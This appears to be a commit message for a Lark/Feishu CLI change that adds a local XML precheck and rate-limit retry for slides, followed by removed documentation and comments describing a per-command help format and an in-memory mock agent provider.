fix(slides): local XML precheck, 99991400 backoff

Lands three of the four agreed fixes from the 2026-06-08 slides write-path
telemetry analysis (the commercial quota-code registration is deferred to a
separate change):

1. Local XML well-formedness precheck (shortcuts/slides/)
   - checkXMLWellFormed: pure syntax validation via stdlib encoding/xml
     (same parser family as the backend, false-positive risk ~0);
     explicitly rejects <?xml ?> declarations; deliberately allows
     multiple top-level elements (legal in block_insert fragments)
   - wired into +create --slides (at Validate, so a bad slide no longer
     leaves a half-built deck) and +replace-slide --parts
     replacement/insertion; errors carry line numbers + escaping
     guidance, rejected locally with zero API calls

2. 99991400 rate-limit backoff (retryOnRateLimit)
   - the code was registered Retryable:true but no slides loop actually
     retried, so one frequency-window hit aborted the whole batch
   - up to 2 retries with 1s/2s backoff, announced on stderr,
     context-cancellable; wired into the +create slide POST loop and
     uploadSlidesMedia (+media-upload and the placeholder upload loop)
   - upload switched to UploadDriveMediaAllTyped (retry match requires
     typed errors; aligns with the slides typed migration)

3. lark-slides skill tag-whitelist ban (skills/lark-slides/)
   - quick-ref: never write tags outside the whitelist, name the six
     confirmed-rejected tags (audio/video/timeline/animation/trigger/
     header), substitution table, escaping rules
   - removed <?xml ?> declarations from all examples (contradicted
     backend behavior and the new precheck)

Tested with unit + httpmock integration tests, plus live verification
against the real feishu.cn API: all precheck negatives rejected locally,
no false positives on real create/replace, and 18 concurrent uploads hit
3 real 99991400 responses which all retried and succeeded (18/18).

-# Affordance
-
-Per-command usage guidance for the CLI, authored as one markdown file per domain
-(`<service>.md`). It is surfaced in `lark-cli <command> --help` and in the
-`schema` output, and read directly at runtime (lazy, cached) — there is no build
-step. Maintain these files alongside `skills/` and `shortcuts/`.
-
-## Format
-
-A small, fixed markdown subset; each file describes one domain:
-
-    # <domain>            optional `> skill: <name>` applies to every command below
-    ## <command>          the command as typed, minus `lark-cli <domain>`
-    <lead paragraph>      when to use this command
-    ### Avoid when        when not to use it / which command to use instead
-    ### Prerequisites     what you must have first (e.g. an id, and where it comes from)
-    ### Tips              gotchas and constraints
-    ### Examples          **description** lines, each followed by a fenced command
-    ### <other heading>   a custom section; flows through verbatim
-
-Reference another command with `[[command]]` — it renders as `command` in help.
-Under `Avoid when` it means "use that one instead"; under `Prerequisites`
-("… from [[command]]") it means "get the input there first".
-
-## Example
-
-    ## messages get
-    Fetch the full content of a single message by id.
-
-    ### Avoid when
-    - Reading several at once → use [[messages batch_get]]
-
-    ### Prerequisites
-    - message_id from [[messages list]]
-
-    ### Examples
-
-    **Fetch one message**
-    ```bash
-    lark-cli mail user_mailbox.messages get --message-id "<id>"
-    ```
-
-## Notes
-
-- Write plain prose; the only convention is wrapping command references in `[[ ]]`.
-- Keep it concise and high-signal — don't restate field/flag names, id types, or
-  anything the schema and flags already show; the agent infers the rest.
-- Command-form headings resolve to method ids via the registry, so plural resource
-  names (`messages`) map to the singular method id (`message`) automatically.

-// Package example is the in-repo agent provider onboarding template and offline
-// demo backend: a hypothetical example business domain whose data / calls are
-// entirely in-memory mocks, with zero network. It has three roles:
-//
-//  1. A copy-start point for new integrators — copy the whole package and rename
-//     it; every key decision point carries a teaching comment from the
-//     "integrator's perspective" (how to fill registration fields, which
-//     capabilities to wire, how to make capability trade-offs);
-//  2. The command tree's offline demo backend — the full agent
-//     list/card/send/task/context chain runs for real without any platform
-//     configuration;
-//  3. A stable mock scheme for cmd-layer tests.
-//
-// Minimal checklist for onboarding a new provider (each item is demonstrated in
-// this package):
-//   - register metadata via agent.Register in init() (see the per-field comments below);
-//   - construct a *agent.Provider in the Factory, wiring one func field per
-//     capability you support — the core Send/GetTask are mandatory, every other
-//     field is optional and "not wired = not supported" (the framework returns a
-//     unified unsupported_capability error and derives the card matrix from what
-//     is wired, so there is no bool matrix to keep in sync and no capability-
-//     refusal code to write);
-//   - a catalog type (KindCatalog) must wire ListAgents (asserted at registration);
-//   - add a blank import under agent/register.go to trigger init registration;
-//   - run agenttest.RunConformance in tests to lock down implicit contracts.

-// ============================================================================
-// In-memory state machine (teaching focus: concurrency safety of package-level
-// state + the CLI process boundary)
-//
-// A real provider's context/task state lives on the server, so the adapter is
-// naturally stateless; example is a pure mock and must manage state itself. Two
-// disciplines the integrator needs to know:
-//
-//  1. Concurrency safety: provider instances may be constructed / called
-//     concurrently (e.g. list's probe alongside the real call), so package-level
-//     mutable state must be locked. A single coarse-grained Mutex covers all
-//     reads and writes here — the mock does not chase throughput; correctness comes first.
-//  2. CLI process boundary: every lark-cli command is a fresh process, so a pure
-//     in-memory map does not survive a single command — after `send`, a
-//     `task get` would find nothing. So a lazy JSON snapshot layer sits beneath
-//     the in-memory map (under os.TempDir, last-writer-wins) to make the offline
-//     demo chain work across commands. A real provider neither needs nor should
-//     have this layer — it is a mock-only demo device.
-//
-// Note that the snapshot is loaded lazily (only on the first real read/write of
-// state): Register's zero-value Deps probe constructs a provider once at
-// registration time, and construction must have no side effects (the registry.go
-// contract), so Factory / Card / ListAgents must not touch store.
